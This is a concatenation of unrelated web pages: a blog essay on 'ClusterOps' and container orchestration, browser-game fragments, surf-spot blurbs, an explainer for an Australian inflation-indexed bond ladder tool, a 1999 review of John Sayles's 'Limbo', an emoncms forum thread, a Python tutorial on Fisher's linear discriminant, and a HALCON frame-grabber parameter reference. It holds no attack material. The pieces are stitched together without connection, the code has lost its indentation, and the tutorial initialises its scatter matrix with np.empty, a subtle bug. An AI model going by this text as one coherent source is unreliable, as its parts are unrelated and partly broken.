In the new post-DevOps land we’ve moved passed how to codify infrastructure as code, system administrators are squarely part of the development teams which they enable. In the ClusterOps world, we are building tools to enable companies to treat their systems as a single entity, orchestrating various container technologies across clusters in hybrid clouds, federating them together on a grand scale.
Many small start ups are seeing a great deal of benefit, enabling them to hire less people to manage complicated micro services platforms. On the enterprise scale, I’m seeing large companies benefit from federated clusters across hybrid clouds, allowing them to build complicated charge-back models to their internal teams and save costs by maximizing usability of their cloud-based infrastructure.
The new ClusterOps world is defined by orchestration tools we’ve come to know very well: DC/OS, Kubernetes, and Docker Swarm. These tools allow simplified orchestration of services through various containerization technology and abstracting the complexity of managing many hosts into a single pool of resources. There are many words that folks use today to describe these tools, but nobody will deny that all look like one thing: an operating system.
In a former world, we developed tools to enable system administrators to treat their infrastructure as code. This movement redefined the system administrator as a developer. Automating large, complicated systems by defining their parts in cloud formation templates and automating up to layer 7 with tools like Puppet, Chef and Ansible. When cloud options were not available, we built our own with systems such as OpenStack.
Entire companies were built around enabling companies to succeed in the DevOps space. Companies such as s RedHat and countless other consultancies made bets on the tools available, and leveraged them to build offerings in their vision of “the right way”.
Today, vendors in this space provide these tools overlapping features for free or with licensing. Some companies purchased the intellectual property to build them into an existing licensing model. What this conveys is that these tools were successful. So much so that companies are able to build a tidy profit from them by making them more accessible.
In this way, those companies brought DevOps to the masses. No longer did you have to be that trick Sys Admin with code experience. Anyone could get a streamlined setup with bare metal through layer 7 automation, a fly continuous integration pipeline, top notch monitoring and infrastructure visibility, all for a price.
This conveys that not only were these tools successful, the movement that brought them to the doorsteps of companies large and small was also a winning strategy. The DevOps movement won out over monolithic, siloed engineering.
ClusterOps is the next logical progression in this movement: +DevOps addressed managing singular resources with code; ClusterOps addresses the complicated relationships these resources have with each other.
Tools such as DC/OS and Kubernetes allow us to treat many hosts as a singular entity. They take care of scheduling where, when and how many instances of a given service are running. They abstract away the notion of singular hosts, and replace them with a single point of contact for operators and developers. This single point of contact allow those professionals to treat these systems as a cluster; the interaction, development and operation of this pool of resources is ClusterOps.
ClusterOps vendors are already popping up everywhere. With many consultancies and developer tool companies being built every day to enable their clients with this new way. Just as the success of DevOps was signified by a similar explosion of support and tools for infrastructure as code, the proliferation of companies and tools for cluster operations conveys a similar movement and success story. I’m very excited about this future for the infrastructure engineering space and am looking forward to seeing how it develops.


INSTRUCTION
The bugs are your enemies and you should avoid them. You loose when you hit the enemy. You win when you
cross over to the other end (water).
Keyboard Keys
- Move with the Arrow keys (up, down, left, right)
- You can also move with VIM keys (H, J, K, L)
Choose a player


At Jaws swells can reach up to 70 feet pushing speeds of 30 mph.
The location were Antonio Lauerano surfed the biggest wave ever, measuring in at 101.4ft.
One of the heaviest waves in the world, nestled on the southwest corner of Tahiti’s smaller dormant volcano.
The spot receives over 300 days of offshore winds annually and, as a result, is often regarded as one of the best surf spots in the world.


{{dashboard.team.name}}
{{dashboard.team.number}}
{{pilot.name}}
Create your own team
Your team name
Number of pilots
1
2
3
4
Looking for pilots
Available team numbers
{{number}}
{{team.name}}
{{team.number}}
Teamless pilots


Build your own inflation-protected pension
An inflation-indexed or cost-of-living-adjusted pension or annuity can be purchased from an insurance company in order to convert a lump sum of cash into a steady stream of income whose value is adjusted to provide constant purchasing power. Depending on the terms, a pension may pay out until the end of your life, your survivor's life, or a fixed period. Some pensions provide a lower fixed income in return for a guaranteed minimum payment period, so that your heirs will receive some benefit if you die early on after purchasing the pension.
An alternative to these kinds of pensions or anniuties, is to cut out the middleman and do it yourself by purchasing a series or 'ladder' of bonds, carefully chosen such that they will provide the income you need at the time you need it. Some government bonds such as eTIBs in Australia or TIPS in the United States provide inflation protection similar to an inflation-indexed pension, in fact these securities often make up a substantial portion of what insurance companies offering such pensions invest in.
This tool will help you identify which eTIBs may be purchased to build an inflation-protected income ladder. You can then compare the cost and benefits of this ladder to a pension product offered by an insurance company. Further details on the mechanics of eTIBs are described below.
eTIBs, or 'Exchange-Traded Treasury Indexed Bonds' are securities issued by the Australian Government, whose Face value is adjusted for movements in the Consumer Price Index (CPI). They make coupon payments quarterly, a fixed a percentage of the CPI-adjusted Face Value, as well as paying the CPI-adjusted Face Value back to the investor at the time of the bond's maturity. A ladder of eTIBs allows an investor to overcome the problems of credit risk, inflation risk and interest rate risk normally associated with fixed-income investments.
Unlike corporate bonds, or term deposits purchased from a bank or credit union, Treasury Bonds do not suffer from Credit Risk, which is the risk that the issuer of the bond (the borrower), will default. The Australian Government guarantees the payments due to investors in Treasury Bonds.
Unlike Nominal Bonds, the standard type of bond, eTIBs have their Face Value adjusted according to inflation, as measured by the CPI. This eliminates one of the major risks in holding traditional bonds, which is that inflation will outpace the rate of return on your bond, decreasing the holder's purchasing power. There are very few securitised investment products available that prodvide such inflation-protection guarantees.
By purchasing a ladder, or series, of bonds, as opposed to a traditional bond fund, you also eliminate the effects of interest rate risk on your bond portfolio. A bond fund's net asset value (NAV) will decline in the case of a rise in interest rates, which might leave you unable to meet your income needs. Purchasing a ladder of individual bonds allows you to meet your liabilities precisely, so you don't have to care or worry about the bond's NAV, instead you hold each bond to maturity, and you know in advance precisely how much capital you will receie.
Two disadvantages of buying an eTIB ladder over a traditional pension are the lack of longevity insurance and mortaility credits. A pension may offer you inflation protected income for life, whereas a ladder can only provide that protection up to the maturity date of the longest bond in your portfolio. Conversly, by giving up a lump sum that pays only until your death, an insurance comapny may be able to offer you more income for your premium, since some insured persons will die earlier than others, and their unused preimums can be used to fund the survivors' incomes. If you are not concerned about passing assets on to heirs if you die early, a pension is likely to give you a better lifetime payout than a bond ladder.
eTIBs are available from any brokerage account with access to the Australian Stock Exchange (ASX), including Self-Managed Superannuation Funds (SMSFs).
This content is provided for informational purposes only and does not constitute financial advice. It does not take into account your individual objectives, financial situation or specific needs.
This tool developed by David G. Claridge. Source code on GitHub. Commentary on HackerNews.


Memory Game
This is me
(current)
CV
Contact
play!
0 Moves
0s
×
You Won!
...with final score of...
0
Play Again?


LIMBO
Reviewed by Harvey Karten, Ph.D. Columbia Pictures Director: John Sayles Writer: John Sayles Cast: Michael Laskin, Leo Burmester, Heminio Ramos, Dawn McInturff, Vanessa Martinez, David Strathairn, Tom Biss, Mary Elizabeth Mastrantonio, Kris Kristofferson,
Back in 1890 the famous historian Frederic Jackson Turner declared that the American frontier was closed. Manifest Destiny had made its mark, the country had been fully explored, and presumably only the moon was left to survey. Turner should have seen "Limbo," yet another of writer- director-editor-novelist John Sayles's looks at contemporary American culture. Situating his story wholly in Alaska, Sayles wants to tell us that Seward's Ice Box is at once an overdeveloped, over-touristed theme park and a yet-to-be- charted piece of majestic land despite its encounters with hordes of summer tourists who mostly visit by ocean cruiser
He tells two stories in one, essentially. The first part includes a satirical view of a developer who wants to turn the entire state into a theme park with perfectly safe adventures for septuagenarian tourists from all over the mainland. The balance is a Robinson Crusoe-like melodrama of people stranded on a hopelessly unexplored and untraveled northern island to the north of Juneau. The audience will plausibly be divided into two parts as well: one with the patience to scan a slow-moving narrative with just a modicum of suspense but with an enormously satisfying examination of character; the other, the sorts who will take in the scenery in much the say they'd read a novel by James Michener but who, in the final analysis, might say, "So what?" Count me in as part of the former bunch.
You will need to give the film an hour or so of Robert Altman-style vignettes to understand its title. You'll see that Sayles is dealing not only with the physical limbo of people marooned on a isolated island but with the emotional purgatory of individuals who are psychologically trapped by guilt, introversion, loneliness and bitter memories. With excellent rendering of his female characters, Sayles hones in on two unhappy women: Donna De Angelo, (Mary Elizabeth Mastrantonio), a forty-ish lounge singer with a history of marital failure; and her alienated teen-age daughter Noelle (Vanessa Martinez), a pretty young woman with a creative mind and complex suicidal tendencies. While the unhappy chanteuse seems ready to give up on men, she is immediately attracted to the brooding loner, Joe Gastineau (David Strathairn), once an all-American high- school basketball star whose knee injury disrupted his chance at a college education, leading him into a career as a fisherman--which was cut short by his responsibility for two deaths in a boating disaster. When Joe's half-brother Bobby Gastineau (Casey Siernazsko) turns up surprisingly to ask a favor, Joe, his new girl friend Donna, and Donna's daughter Noelle are led into the adventure of their lives, once which wholly belies the cocoon-like safety enjoyed by the elderly retirees stomping through the historic town of Port Henry.
If the story lacks the tension which a mainstream audience has the right to expect of a traditional tale of drug smuggling and survivalist travel, Sayles probably means his account to be just that. With his background (a psychology degree from Williams College), the director has made quite a name for his exploration of the contemporary American scene with this country's diverse population of often disparate fancies.  His "Brother from Another Planet" proved that Sayles could develop a character from outer space in a way that no sci-fi writer had quite attempted before. If "Matewan" concerned a West Virginia miners' strike in the 1920's, then "Limbo" would follow up by giving credence to the grievances of workers in a salmon packing plant. Throughout his career, Sayles has shown an ability to handle many characters within each story. "Limbo" is Sayles's territory.
David Strathairn has come back from his miscasting in "A Midsummer Night's Dream" (where he seemed more like a bond trader than a duke) to deliver a delightfully under-acted portrayal of an loner getting by on odd jobs and treating a new romantic attachment with all the passion of a kindly grandfather. And did you know that Mary Elizabeth Mastrantonio--who was underwhelming as the colorless wife of a wealthy Scotsman in Hugh Hudson's "My Life So Far"-- could sing like Judy Collins? With Vanessa Martinez as the cranky third wheel of this modern Swiss Family Robinson, "Limbo" moves at a deliberate pace toward its wonderful, open-ended conclusion--a Lady-or-the-Tiger resolution that might well frustrate a mainstream audience but which will encourage the more imaginative and sophisticated viewer. While the few shots of the Alaskan inlets surrounding Juneau could encourage interest in travel by a movie audience of popcorn-crunching couch potatoes, photographer Haskell Wexler never quite gets the opportunity to do much for the business of the Alaskan Tourist Board. We'd like to hiss the full-of-himself developer who'd not mind turning the interior of the state into a parking lot, but we never do get to see enough of America's largest state to justify that judgment. But we sure get a feel for characters--for their survival skills, their idiosyncrasies, their hopes and dreams. If that's what you look forward to in your movies, you're in for a treat with this "Limbo."
Rated R. Running Time: 126 minutes. (C) 1999 Harvey Karten
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


When trying to call a shared view with http://<my-ip>/emoncms/my-name&id=1 (or 2 or 3) I get a blank screen on my browser (Firefox as well as Konquerer) with a black bar on top and the message: "Powered by openenergymonitor.org" in the upper third of the page.
In the error.log of apache2 appears the following message
"PHP Notice: Undefined index: CSFR_token in /var/www/emoncms/Modules/user/user_controller.php on line 212"
every time when I try to call a shared page.
With emoncms3 I was able to display the shared views.
Any help is very much appreciated.
Regards,
khs
Re: emoncms, modular, no shared view
Hmm, this seems to work fine for me, does this page show a dashboard for you: http://emoncms.org/trystan?id=504
Re: emoncms, modular, no shared view
It seems though the error you are getting is user/logout related which is strange. I've stripped the token stuff out from there for now as I need to look at that stuff again so that should remove the error anyway.
Re: emoncms, modular, no shared view
Yes, they look all very good!
Re: emoncms, modular, no shared view
Thank you, Trystan.
I tried to read through the code in that file, but to be honest I did not understand too much. But I have never seen the message "You are logged out").
Regards,
khs
Re: emoncms, modular, no shared view
I have exactly the same problem - nothing is shown when viewing a public dashboard.
Trystan, have you realised that we are running our own installation of emoncms? You say it works for you but that's on emoncms.org. Mine is on a Raspberry Pi.
I think the error in the apache error log, which I also get, is a red herring. This happens when the user logs out, not when viewing a public dashboard.
Re: emoncms, modular, no shared view
The hint from http://openenergymonitor.org/emon/node/1347 worked fine for me too.
Thank you.
Regards,
khs


Fisher’s Linear Discriminant¶
import numpy as np
np.set_printoptions(suppress=True)
import matplotlib.pyplot as plt
import seaborn as sns
from sklearn import datasets
Since it is largely geometric, the Linear Discriminant won’t look like other methods we’ve seen (no gradients!). First we take the class means and calculate \(\bSigma_w\) as described in the concept section. Estimating \(\bbetahat\) is then as simple as calculating \(\bSigma_w^{-1}(\bmu_1 - \bmu_0)\). Let’s demonstrate the model using the breast cancer dataset.
# import data
cancer = datasets.load_breast_cancer()
X = cancer['data']
y = cancer['target']
Note
Note that the value we return for each observation, \(f(\bx_n)\), is not a fitted value. Instead, we look at the distribution of the \(f(\bx_n)\) by class and determine a classification rule based on this distribution. For instance, we might predict observation \(n\) came from class 1 if \(f(\bx_n) \geq c\) (for some constant c) and from class 0 otherwise.
class FisherLinearDiscriminant:
def fit(self, X, y):
## Save stuff
self.X = X
self.y = y
self.N, self.D = self.X.shape
## Calculate class means
X0 = X[y == 0]
X1 = X[y == 1]
mu0 = X0.mean(0)
mu1 = X1.mean(0)
## Sigma_w
Sigma_w = np.empty((self.D, self.D))
for x0 in X0:
x0_minus_mu0 = (x0 - mu0).reshape(-1, 1)
Sigma_w += np.dot(x0_minus_mu0, x0_minus_mu0.T)
for x1 in X1:
x1_minus_mu1 = (x1 - mu1).reshape(-1, 1)
Sigma_w += np.dot(x1_minus_mu1, x1_minus_mu1.T)
Sigma_w_inverse = np.linalg.inv(Sigma_w)
## Beta
self.beta = np.dot(Sigma_w_inverse, mu1 - mu0)
self.f = np.dot(X, self.beta)
We can now fit the model on the breast cancer dataset, as below.
model = FisherLinearDiscriminant()
model.fit(X, y);
Once we have fit the model, we can look at the distribution of \(f(\bx_n)\) by class. We hope to see a significant separation between classes and a significant clustering within classes. The histogram below shows that we’ve nearly separated the two classes and the two classes are decently clustered. We would presumably choose a cutoff somewhere between \(f(x) = -.09\) and \(f(x) = -.08\).
fig, ax = plt.subplots(figsize = (7,5))
sns.distplot(model.f[model.y == 0], bins = 25, kde = False,
color = 'cornflowerblue', label = 'Class 0')
sns.distplot(model.f[model.y == 1], bins = 25, kde = False,
color = 'darkblue', label = 'Class 1')
ax.set_xlabel(r"$f\hspace{.25}(x_n)$", size = 14)
ax.set_title(r"Histogram of $f\hspace{.25}(x_n)$ by Class", size = 16)
ax.legend()
sns.despine()


Image Acquisition Interface for LinX GINGA digital-CLe and GINGA++Me Boards
|
Interface:
|
LinX
|
|
Revision:
|
13.0.2
|
|
Date:
|
2018-10-23
|
General
System Requirements
- Intel compatible PC with Windows 7 (32-bit or 64-bit)
or newer that is also supported by the vendor-specific SDK.
- Successfully installed LinX driver
LinX.sys (LinX SDK version 5.90).
If you do not have this driver version, please contact LinX
or the vendor from which you bought the frame grabber board.
- HALCON image acquisition interface hAcqLinX.dll or
hAcqLinXxl.dll, respectively.
If you have properly installed the interface, both DLLs should reside in
bin\%HALCONARCH% within the HALCON base directory %HALCONROOT%
you have chosen during the installation of HALCON.
Installation
Only when installing or updating the interface manually follow these steps:
- Windows: Extract the archive containing the interface files to the
HALCON base directory %HALCONROOT% (Note: Administrator privileges may be
required for this step). Additionally, you have to move the interface
examples to the directory %HALCONEXAMPLES% manually.
Features
- Multiple frame grabber boards.
- Multiple compatible cameras per board (port switching).
- Synchronous and asynchronous grabbing.
- External trigger (with software override of the camera configuration
file).
- Up to 1000 frame buffers (e.g., for volatile and/or continuous grabbing).
- Support of multiple digital cameras based on the LinX
camera configuration files.
- (Partial) software control of the number of bits per pixel
(with software override of the camera configuration file).
- Support of the digital output lines.
- Support of line scan cameras.
- Dynamically changing the frame size of the grabbed image.
- Support of start/stop trigger mode.
- Serial communication with Camera Link cameras.
- Support of user-specific callback function.
Limitations
- Only one image acquisition instance per frame grabber board (however, multiple compatible cameras can be accessed using port switching).
- No subsampling or cropping of image parts through the HALCON interface.
This feature is supported through the use of camera files.
| Parameter |
Value List |
Type |
Kind |
Description |
| 'bits_per_channel' |
[8, 10, 12] |
integer |
pre-defined |
Values for bits per channel. |
| 'camera_type' |
['CAMFILE:', 'gdg;gpp', '<camera_path>', 'default'] |
string |
pre-defined |
Syntax for camera configuration file and default value. |
| 'color_space' |
['gray', 'rgb'] |
string |
pre-defined |
Values for color space. |
| 'defaults' |
[1, 1, 0, 0, 0, 0, 'progressive', -1, 'gray', -1.0, 'false', 'default', 'default', 0, 1]
|
mixed |
pre-defined |
Default values for open_framegrabber. |
| 'device' |
['GINGA:0', 'GINGA:1', 'GINGA:2', 'GINGA:3', 'default'] |
string |
pre-defined |
Pre-defined list of possible devices. |
| 'external_trigger' |
['false', 'true'] |
string |
pre-defined |
Values for the external trigger. |
| 'field' |
[] |
|
|
Unused. |
| 'general' |
[] |
string |
pre-defined |
Information about the HALCON LinX interface. |
| 'generic' |
[] |
|
|
Unsupported query. |
| 'horizontal_resolution' |
1 |
integer |
pre-defined |
Value list for horizontal resolution. |
| 'image_height' |
[] |
|
|
Unsupported query. |
| 'image_width' |
[] |
|
|
Unsupported query. |
| 'info_boards' |
'device:default' |
string |
dynamic |
If a LinX board is found, the value is returned. Otherwise, an empty tuple is returned.
|
| 'parameters' |
['<parameters>'] |
string |
pre-defined |
Pre-defined parameters of the HALCON interface. |
| 'parameters_readonly' |
['<parameters>'] |
string |
pre-defined |
Pre-defined read-only parameters of the HALCON interface. |
| 'parameters_writeonly' |
['<parameters>'] |
string |
pre-defined |
Pre-defined write-only parameters of the HALCON interface. |
| 'port' |
0, 1, 2, 3 |
integer |
pre-defined |
Returns a pre-defined list of possible port numbers. |
| 'revision' |
'<revision>' |
string |
pre-defined |
Revision number of the LinX interface. |
| 'start_column' |
[] |
|
|
Unsupported query. |
| 'start_row' |
[] |
|
|
Unsupported query. |
| 'vertical_resolution' |
1 |
integer |
pre-defined |
Value list for vertical resolution. |
| Parameter |
Values |
Default |
Type |
Description |
| Name |
'LinX' |
|
string |
Name of the HALCON interface. |
| HorizontalResolution |
1, <width> |
1 |
integer |
Desired image resolution. Use '1' for full resolution or the corresponding absolute value (depending on your camera).
|
| VerticalResolution |
1, <height> |
1 |
integer |
Desired image resolution. Use '1' for full resolution or the corresponding absolute value (depending on your camera).
|
| ImageWidth |
0 |
0 |
integer |
Width of the desired image part ('0' stands for the complete image). |
| ImageHeight |
0 |
0 |
integer |
Height of the desired image part ('0' stands for the complete image). |
| StartRow |
0 |
0 |
integer |
Row coordinate of the upper left pixel within the desired image part.
|
| StartColumn |
0 |
0 |
integer |
Column coordinate of the upper left pixel within the desired image part.
|
| Field |
--- |
|
|
Ignored. |
| BitsPerChannel |
-1, 8, 10, 12 |
-1 |
integer |
Number of bits per channel. By specifying the default '-1' the corresponding setting of the camera configuration file is used.
|
| ColorSpace |
'gray', 'rgb' |
'gray' |
string |
Desired color space. If BitsPerChannel is set to -1, the value is ignored and overwritten by the settings of the camera configuration file.
|
| Generic |
--- |
|
|
Ignored. |
| ExternalTrigger |
'false', 'true' |
'false' |
string |
Status of the external trigger. |
| CameraType |
'<file>', 'default' |
'default' |
string |
Camera configuration file. If you specify 'default' the first camera you have set with GingaSysReg
is used.
|
| Device |
'<BoardType>:<nr>', 'default' |
'default' |
string |
The type ('GINGA') and the number ('0', '1', '2' ...) of the frame grabber board (passed as one string!), e.g., 'GINGA:0' or 'GINGA:1'. If you specify
'default' the interface automatically selects the first board.
|
| Port |
<port> |
0 |
integer |
The number attached to the desired camera via the LinX configuration program GingaSysReg (starting with 0 for the first
camera). Only evaluated in case the CameraType parameter has been set to
'default'.
|
| LineIn |
--- |
|
|
Ignored. |
| Parameter |
Values |
Default |
Type |
Description |
| 'continuous_grabbing' |
'disable', 'enable' |
'disable' |
string |
Activate or deactivate 'continuous grabbing'. For details, please see the corresponding section below.
|
| 'dma_direction' |
'bottom-up', 'top-down' |
'top-down' |
string |
Read-out direction of the image. |
| 'do_abort_capture' |
--- |
|
|
Abort the current image acquisition. |
| 'do_comm_close' |
--- |
|
|
Closes the comm port. |
| 'do_comm_flush' |
--- |
|
|
Discards any bytes that are available in the input buffer of the comm port. |
| 'do_comm_open' |
--- |
|
|
Opens and initializes the comm port for use on the board. The comm port will always be opened with 9600 baud, 8 data bits, no parity, and 1 stop bit. The
default timeout is 1 second.
|
| 'do_comm_param' |
'<string>' |
|
string |
The parameters for serial communication, separated by colons. The following parameters can be specified:
- timeout: timeout in milliseconds.
- baud_rate: baud rate. Valid baud rates are 9600, 19200, 38400,
57600, 115200, 230400.
- parity: parity to be used. N=No parity, E=Even parity,
O=Odd parity.
- data_bits: size of the data. 5="5" bit data, 6 = 6 bit data,
7 = 7 bit data, 8 = 8 bit data.
- stop_bits: number of stop bits. 1 = 1 stop bit, 15 = 1.5 stop bits,
2 = 2 stop bits
Example:
set_framegrabber_param(..., 'comm_param', 'baud_rate 9600:data_bits
8:parity N')
|
| 'do_comm_write' |
'<message>' |
|
string |
Writes message to comm port. Note that message can either be a string value or a tuple of integers. The latter case also allows the writing of NULL
characters. Examples: set_framegrabber_param(..., 'do_comm_write',
'TR="2"\r\n'), set_framegrabber_param(..., 'do_comm_write',
[0, 127, 128])
|
| 'do_flush_buffers' |
--- |
|
|
Discards all image buffers in the output buffer queue in continuous grabbing mode.
|
| 'do_force_trigger' |
--- |
|
|
Generate a software trigger signal for the camera. |
| 'encoder_scan_step' |
0 ... 1023 |
|
integer |
Specify the desired encoder divider value. |
| 'gport' |
[<out0>, ..., <out7>] |
|
integer |
Specify the desired state of all digital output lines. The tuple with all values must have 8 entries, where each value must be either 0 or 1.
|
| 'grab_timeout' |
<milliseconds> |
5000 |
integer |
Desired timeout (milliseconds) for aborting a pending grab. If -1 is specified, the timeout is set to INFINITE.
|
| 'hardware_exception_thread' |
'disable', 'enable' |
'disable' |
string |
Start/stop hardware exception thread to reset acquisition in continuous grabbing mode when there is a hardware exception.
|
| 'image_height' |
<height> |
|
integer |
Dynamically change the current image height of the grabbed image. This feature is limited to use with only free run camera files (see also the
comments to CiAqFrameSize in the LinX SDK Reference).
|
| 'image_width' |
<width> |
|
integer |
Dynamically change the current image width of the grabbed image. This value has to be a multiple of 4 and is limited to use with only free run camera
files (see also the comments to CiAqFrameSize in the LinX
SDK Reference).
|
| 'lut' |
'disable', 'enable' |
'disable' |
string |
State of the lookup table. |
| 'num_buffers' |
2 - 1000 |
2 |
integer |
Number of buffers used for the image acquisition. |
| 'out:X' |
'high', 'low' |
depends on the board settings |
string |
State of one of the digital output lines (with X = 0, 1, 2, 3, 4, 5 or 6).
|
| 'overflow_thread' |
'disable', 'enable' |
'disable' |
string |
Start/stop overflow thread to reset acquisition in continuous grabbing mode when there is an overflow exception.
|
| 'overwrite_method' |
'abort', 'ignore' |
'abort' |
string |
Specify how the interface should handle situations where the external trigger is received faster than the images are read by the application in
continuous grabbing mode (see also the corresponding section below).
|
| 'port' |
<port> |
|
integer |
Switch to the camera with the specified number (attached via the LinX configuration program GingaSysReg - starting with
0 for the first camera). Using this port switching you can access multiple
cameras with one frame grabber board (see below).
|
| 'read_buf_size' |
0...32768 |
0 |
integer |
Number of bytes to read from the read buffer of an open comm port. This will most likely be set before each read, unless the message from
the camera is always the same size.
|
| 'resnap' |
'false', 'true' |
'false' |
string |
Specify whether to reset the DMA engine and to try a second snap in case of an overflow. Note that in continuous grabbing mode you can use the
parameter 'overflow_thread' to reset acquisition when there is an overflow
exception.
|
| 'serial_baudrate' |
<baud> |
9600 |
integer |
Baud rate for serial communication. |
| 'serial_message' |
'<string>' |
|
string |
Send the string via the serial interface, see also 'do_comm_write'. |
| 'serial_message_buf_size' |
1 ... 32767 |
1024 |
integer |
Maximum buffer size for receive strings via 'serial_message'. |
| 'serial_terminate_code' |
0...255 |
LF(0x0A) |
integer |
Termination character of the receive string. If you call get_framegrabber_param with the parameter 'serial_message', the receive
process is finished by receiving this character.
|
| 'serial_timeout' |
<milliseconds> |
1000 |
integer |
Timeout for serial communication (in milliseconds). |
| 'serial_write_delay' |
<milliseconds> |
0 |
integer |
Timeout in milliseconds for serial write operations. |
| 'set_exposure_and_rate' |
['exp <value>: period <value>: trig_mod <string>: assert_high <string>: output <address>']
|
|
string |
Exposure and frame rate. Note that this parameter is a write-only parameter and, thus, cannot be queried by get_framegrabber_param.
- trig_mod: 'freerun', 'oneshot_trigger', 'oneshot_encoder'
- assert: 'high', 'low'
|
| 'shutter_speed' |
<shutter> |
|
integer |
Shutter speed. Note that this parameter is a write-only parameter and, thus, cannot be queried by get_framegrabber_param.
|
| 'software_trigger' |
'disable', 'enable' |
'disable' |
string |
Enable or disable the software trigger mode (shot grabbing). Note that the software trigger mode can only be used with a one shot camera file.
|
| 'start_async_after_grab_async' |
'disable', 'enable' |
'enable' |
string |
By default a new asynchronous grab command is automatically given to the acquisition device at the end of grab_image_async. If the parameter
'start_async_after_grab_async' is set to 'disable', this new grab command
is omitted.
|
| 'start_column' |
0 ... <max> |
|
integer |
Column coordinate of the upper left pixel within the desired image part.
|
| 'start_row' |
0 ... <max> |
|
integer |
Row coordinate of the upper left pixel within the desired image part.
|
| 'trigger_timeout' |
<milliseconds> |
|
integer |
Specify the desired timeout (milliseconds passed as an integer) for aborting a pending grab when waiting for an external trigger (a default of 60 seconds
is set during open_framegrabber).
|
| 'volatile' |
'disable', 'enable' |
'disable' |
string |
Grayscale only. In the volatile mode the two image acquisition interface buffers are used directly to store HALCON images. This is the
fastest mode avoiding to copy raw images in memory. However, be aware that
older images are overwritten again and again as a side-effect. Thus, you
can only process one image while you grab another image. Older images are
invalid!
|
| 'wait_frame_exposure_timeout' |
<milliseconds> |
|
integer |
Sets the timeout [ms] used by 'wait_frame_exposure'. |
There may exist additional read-only parameters with the following postfixes:
- '_description': These parameters provide the tool-tip of the
corresponding parameter as a string.
- '_range': These parameters provide the minimum, maximum,
step width, and default values for the corresponding integer or float
parameter as a tuple with 4 elements, e.g.,
get_framegrabber_param(.., 'Shutter_range', ..) will return
the output tuple [min, max, step, default].
- '_values': These parameters provide the valid value list for
the corresponding parameter as a tuple, e.g.,
get_framegrabber_param(.., 'volatile_values', ..) will return
the output tuple ['enable', 'disable'].
All these postfixed parameter names are not returned when calling
info_framegrabber(.., 'parameters', ..) and are used
to enable the easy parameterization via a generic graphical user
interface, particularly the HDevelop Image Acquisition Assistant.
| Parameter |
Values |
Default |
Type |
Kind |
Description |
| 'available_callback_types' |
['<callback_type>'] |
|
string |
dynamic |
Query all callback types which are supported by this interface. |
| 'bits_per_channel' |
-1, 8, 10, 12 |
-1 |
integer |
pre-defined |
Number of bits per channel of the resulting HALCON image. In case of -1 the current bit depth of the camera is used. By specifying a value greater than 8 the
grabbed images are delivered as uint2 images.
|
| 'camera_connected' |
'false', 'true' |
|
string |
pre-defined |
Query the presence of the connected camera. |
| 'camera_type' |
'<file>' |
'default' |
string |
pre-defined |
Current camera type. |
| 'color_space' |
'gray', 'rgb' |
'gray' |
string |
pre-defined |
Desired color space and thus the number of image channels of the resulting HALCON image.
|
| 'comm_read_int' |
[<int1>, ..., <intN>] |
|
integer |
dynamic |
N number of bytes set by read_buf_size from an open comm port. This command will return when the read_buf_size of bytes are available or
when the serial timeout period has passed. Upon success, read_buf_size
number of bytes will be returned as a tuple of N integer values. In an
error case, no data is returned. Note that this parameter allows also the
reading of NULL characters.
|
| 'comm_read_str' |
<camera_response> |
|
integer |
dynamic |
Number of bytes set by read_buf_size from an open comm port. This command will return when the read_buf_size of bytes are available or when
the serial timeout period has passed. Upon success, read_buf_size number of
bytes will be returned as a string. In an error case, no data is returned.
|
| 'continuous_grabbing' |
'disable', 'enable' |
'disable' |
string |
pre-defined |
Activate or deactivate 'continuous grabbing'. For details, please see the corresponding section below.
|
| 'device' |
'<BoardType>:<nr>' |
'default' |
string |
pre-defined |
Current device. |
| 'dma_direction' |
'bottom-up', 'top-down' |
'top-down' |
string |
pre-defined |
Read-out direction of the image. |
| 'encoder_scan_step' |
0 ... 1023 |
|
integer |
dynamic |
Specify the desired encoder divider value. |
| 'external_trigger' |
'false', 'true' |
'false' |
string |
pre-defined |
Status of the external trigger. |
| 'field' |
'<default>' |
'progressive' |
string |
pre-defined |
The value is not used, so a default value is returned. |
| 'generic' |
<default> |
-1 |
integer |
pre-defined |
The value is not used, so a default value is returned. |
| 'gport' |
[<out0>, ..., <out7>] |
|
integer |
dynamic |
Specify the desired state of all digital output lines. The tuple with all values must have 8 entries, where each value must be either 0 or 1.
|
| 'grab_timeout' |
<milliseconds> |
5000 |
integer |
pre-defined |
Current grab timeout in milliseconds. |
| 'hardware_exception_count' |
<number> |
|
integer |
dynamic |
Number of hardware exceptions that have occurred. |
| 'hardware_exception_thread' |
'disable', 'enable' |
'disable' |
string |
pre-defined |
Start/stop hardware exception thread to reset acquisition in continuous grabbing mode when there is a hardware exception.
|
| 'horizontal_resolution' |
<resolution> |
1 |
integer |
pre-defined |
Current value of horizontal resolution. |
| 'image_height' |
<height> |
0 |
integer |
pre-defined |
Height of the desired image part ('0' stands for the complete image).
|
| 'image_width' |
<width> |
0 |
integer |
pre-defined |
Width of the desired image part ('0' stands for the complete image).
|
| 'in:X' |
'high', 'low' |
|
string |
pre-defined |
State of one of the digital input lines (with X = 0, 1, 2, 3 or 4).
|
| 'line_in' |
<default> |
1 |
integer |
pre-defined |
The value is not used, so a default value is returned. |
| 'lut' |
'disable', 'enable' |
'disable' |
string |
pre-defined |
State of the lookup table. |
| 'name' |
'LinX' |
|
string |
pre-defined |
Name of the HALCON interface. |
| 'next_buffer_acquired' |
<buffer> |
|
integer |
dynamic |
Index of the next acquired buffer in continuous grabbing mode. The buffer number is between 0 and the number of allocated buffers.
|
| 'next_buffer_acquired_abs' |
<number> |
|
integer |
pre-defined |
Returns the buffer index that is being returned by the next call of grab_image or grab_image_async in continuous grabbing mode.
The incrementation is done continuously. The returned buffer
number will be between 0 and 2^32.
|
| 'next_buffer_returned' |
<buffer> |
|
integer |
dynamic |
Buffer index that is being returned by the next call of grab_image or grab_image_async in continuous grabbing mode. The buffer number is
between 0 and the number of allocated buffers.
|
| 'num_buffers' |
<number> |
2 |
integer |
pre-defined |
Number of buffers used for the image acquisition. |
| 'num_free_buffers' |
<number> |
|
integer |
dynamic |
Number of free buffers in continuous grabbing mode. |
| 'out:X' |
'high', 'low' |
depends on the board settings |
string |
pre-defined |
